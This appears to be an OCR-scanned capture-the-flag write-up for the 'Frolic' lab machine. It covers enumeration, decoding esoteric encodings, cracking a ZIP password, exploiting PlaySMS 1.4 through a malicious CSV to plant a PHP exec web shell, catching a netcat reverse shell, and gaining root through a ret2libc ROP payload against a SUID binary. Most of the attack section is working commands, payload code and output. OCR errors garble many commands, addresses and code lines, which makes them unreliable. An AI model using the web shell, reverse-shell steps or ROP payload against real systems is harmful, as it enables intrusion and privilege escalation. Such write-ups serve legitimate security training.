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SYNOPSIS

Frolic is not overly challenging, however a great deal of enumeration is required due to the
amount of services and content running on the machine. The privilege escalation features an
easy difficulty return-oriented programming (ROP) exploitation challenge, and is a great learning

experience for beginners.

e Intermediate/advanced Linux e |dentifying esoteric languages
knowledge e |dentifying various encoding methods

e Basic understanding of return-oriented e Cracking password-protected ZIP files
programming and the ret2libc method e |dentifying vulnerable services

e Escalating privileges through ROP SUID

binaries with ret2libc
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Enumeration

:~/ovpn# masscan -p@-65535,U:0-65535 10.10.10.111 -e tun@ --rate=500

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-04-04 16:06:02 GMT
forced options: -s5 -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [131072 ports/host]

Discovered open port 22/tcp on 10.10.10.111

Discovered open port 445/tcp on 10.10.18.111

Discovered open port 9999/tcp on 10.10.10.111

Discovered open port 1880/tcp on 10.10.10.111

Discovered open port 139/tcp on 10.10.18.111

Discovered open port 137/udp on 10.10.10.111

rate: 0.00-kpps, 100.00% done, waiting -25-secs, found=5

:~/ovpn# nmap -p22,445,9999,1880,139,137 -sV 10.10.10.111
starting Nmap 7.70 ( https://nmap.org ) at 2019-04-04 12:14 EDT
Nmap scan report for 10.10.10.111
Host is up (©.827s latency).

STATE SERVICE VERSION
open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; proto

closed netbios-
open netbios-ss mba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios- Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1880/tcp open  http Node.js (Express middleware)
9999/tcp open http nginx 1.18.3 (Ubuntu)
Service Info: Host: FROLIC; 05: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds

Masscan finds a fair number of open ports, however the nginx server on port 9999 is of particular

interest.
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

http://10.10.10.111:9999/

@ Scan Information ' Results - List View: Dirs: 6 Files: 2 |Results - Tree View & Errors: 2 ',

B Type I Found | Response | Size |
Dir fi 200 910|
Dir Jadmin/ 200 906|
Dir ftest/ 200 179|
File Jtestfindex.php 200 179

Dir jdev/ 403 342

Dir fadmin/css/ 403 342|
Dir fadmin/js/ 403 342|
Dir /backup/ 200 179|
File fbackup/index.php 200 179

Current speed: 281 requests/sec (Select and right click for more options)

Average speed: (T) 225, (C) 257 requests/sec

Parse Queue Size: 0 Current number of running threads: 52
Total Requests: 20260/1227132 |[ change]

Time To Finish: 01:18:16

| < Back || 00 Pause | | Report
DirBuster Stopped fbackup/freklama.php

An /admin directory can be easily found by directory fuzzing, among many other results that may

be potential attack vectors.
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Exploitation

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate{}{

var username = document.getElementById("username").value;
var password = document.getElementById("password").value;

if { username == "admin" &% password = "superduperlooperpassword lol")}{
alert ("Login successfully"});

window.location = "success.html"; // Redirecting to other page.

return false;

3

else{

attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.

if{ attempt = 0){

document.getElementById( "username”}.disabled =
document.getElementById("password") .disabled = true;
document.getElementById("submit").disabled = true;
return false;

}

b

1

A quick inspection of the admin page’s source code reveals a /admin/js/login.js script, which
contains the credentials in plaintext. It is also possible to browse directly to success.html as there

is no authentication in place.
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Ook/Brainfuck Decoder: https://www.splitbrain.org/_static/ook/

Nothing here check /asdiSIAJJIBQWEIIAS

Text to Ook! || Text to short Ook! | | Ookl to Text |
Text to Brainfuck | | Brainfuck to Text |

The unusual output on success.html is Ook, and can be decoded using the above tool. Browsing

to the given directory outputs a string that appears to be base64. Decoding the base64 outputs a
password protected ZIP file.

:~/Desktop/notes/frolic# echo "UEsSDBBQACQAIAMOJINOO]/LsUsSAAAAGKCAAAIABWA
aWSkZXgucGhwWWVOJAAOFTKdbhXynW3V4CwABBAAAAAAEAAAAAFSEShBKN30yalopmhuVUPBUCEm/U3PkK
Akp3GhHcjuWgNOL22Y9r7nrQEopVyJlbsK1i6T+BQy0ES4baHpOrQu+J4XxPATolb/Y2EU6 rqOPKDBUIP
kUoyUBcqgwNEOI19kzhkVASRAMVEEMrX4+T7al+Ti/kY6ZTAI3h/YSDCFt2PdL6YNZVRrAuaigMOLRBr

ywOtdliKb4ORrXpBgn/uoTjlurp78cmcTIviFfUNOMSUESHCCP+WXSWAAAAGQIAAFBLAQIeAXQACQAL
AMOING®O®] /1sUsAAAAGKCAAAIABgAAAAAAAEAAACKgOAAAABPDMRLeC5WaHBYVAUARAAYEP1T 1eASAAQQA
AAAABAAAAABOSWUGAAAAAAEAAQBPAAAAAWEAARAA" | base64 -d = out
:~/Desktop/notes/frolic# ls -lah
12K
Kr-xr-x 2 root root 4.0K Apr 4 12:35
-¥X 6 root root 4.0K Apr 2:34 ..
1 root root 360 Apr ¢ :35 out

:~/Desktop/notes/frolic# file out
out: Zip archive data, at least v2.0 to extract

:~/Desktop/notes/frolic# unzip out

rchive: out
[out] index.php password: :~/Desktop/notes/frolic#
:~/Desktop/notes/frolic# [
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:~/Desktop/notes/frolic# fcrackzip -D -p ../../wordlists/rockyou.txt -u
out.zip

PASSWORD FOUND!!!!: pw == password
.~/Desktop/notes/frolic# |]

:~/Desktop/notes/frolic# cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067
506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b79
73675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c5330745046
3067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374
506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b
4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0ad4c5334675043
73724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779
302b4b7973674b7973385854344b4b7973754c6a776743673d3dedea

Using fcrackzip, or one of several alternatives, the password can be recovered very quickly using
virtually any wordlist. The ZIP contains a single index.php file, which contains a hex string.

Converting this hex to ascii results in more base64 encoded data.

+Ht++ Httt [ e A P - — b <t [ Rt
2t ] B - - m S R ] B S -

B = e e e ] <+ [ )

+H <

Decoding the base64 outputs a pattern, which is actually brainfuck language. The above Ook

conversion tool also features a brainfuck interpreter, which reveals a password.

-
':I
ja T}

it

o

-

;-CII
i

S

Text to Ook! || Text to short Ook! | | Qok! to Text |
Text to Brainfuck | | Brainfuck to Text |
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Exploit: https://www.exploit-db.com/exploits/42044

Fuzzing the /dev directory finds /dev/backup, which hints to the existence of a /playsms
directory. Attempting to login with the credentials admin:idkwhatispass will grant access and
open up multiple new attack vectors, as there are several publicly available exploits for PlaySMS
1.4.

By crafting a malicious CSV file with the first field containing PHP code, remote code execution is
achieved with minimal effort. However, as the file is not written to the server, it is a good idea to
create a cleaner method for code execution. In this case, the below base64 is decoded and
written to /playsms/writeup.php. This file simply contains <?php echo exec($_GET[‘c’]); ?> and

makes obtaining a shell much more simple.

Mozilla Firefox

X 10.10.10.111:9999/playsm= X +

cd @ 10.10.10.111:9¢

uid=33(www-data) gid=33(www-data) groups=33(www-data)

:~/ovpn# nc -nvlp 1234
listening on [any] 1234
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.111] 59572
/bin/sh: ©: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
% python -c 'import pty;pty.spawn({”/bin/bash") ;"'
www-data@frolic:~/html/playsms$ ~Z
[1]+ Stopped nc -nvlp 1234

:~/ovpn# stty raw -echo && fg
nc -nvlp 1234

www-data@frolic:~/html/playsmss |
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Privilege Escalation

After obtaining a shell, an interesting SUID binary can be found at /home/ayush/.binary/rop. This
can be transferred from to the attacking machine using nc -nlp 1235 > rop locally, followed by nc
-w 3 10.10.14.x 1235 < rop on the target.

www-data@frolic: /home/ayush/.binary$ ldd rop
linux-gate.so.1 == (8xb7fdacen)
libc.so.6 == /1lib/1386-1linux-gnu/libc.
Jlib/1ld-1linux.s0.2 (8xb7fdboaoo)

libc_addr is Oxb7e19000

www-data@frolic:/$ readelf -s /1ib/i386-1inux-gnu/libc. grep system
245: 00112120 68 FUNC GLOBAL DEFAULT 13 svcerr systemerr@@GLIBC 2.0
627: 0003adabd 55 FUNC GLOBAL DEFAULT 13 libc system@@3GLIBC PRIVATE
1457: 0003ada@ 55 FUNC WEAK DEFAULT 13 system@@GLIBC 2.0

system_addr is 0003adaO

www-data@frolic: /$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit

112: oob2edcoO 39 FUNC GLOBAL DEFAULT 13 «cxa at quick exit@@GLIBC 2.
10

Y000 2e9d0 31 FUNC GLOBAL DEFAULT 3 exit@

450: 0002edfo FUNC GLOBAL DEFAULT __cxa_thread atexit impl@@GLI
BC 2.18

558: 000b07c8 24 FUNC GLOBAL DEFAULT _exit@@GLIBC 2.0

616: 00115Ta@ 56 FUNC GLOBAL DEFAULT : '

exit_addr is 0002e9d0

www-data@frolic:/$ strings -atx /lib/1i386-linux-gnu/libc.so.6 | grep /bin/sh

15babb /bin/sh

sh_addr is 15ba0Ob
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Using this information, it is fairly straightforward to craft a payload to exploit the binary.

fmport struct
buf = "A"

libc addr = @xb7el9000

sh addr = struct.pack('<I"', libc addr + @x0815ba@b)
system addr = struct.pack('<I', libc addr + ©x0083ada®)
exit addr = struct.pack('<I"', libc addr + 0x0002e9d0)

payload = buf + system addr + exit addr + sh addr
print payload

=/ .binary$ ./rop $(python /dev/shm/arrexel/writeup.py)
# 1id

uid=0(root) gid=33(www-data) groups=33(www-data)
#
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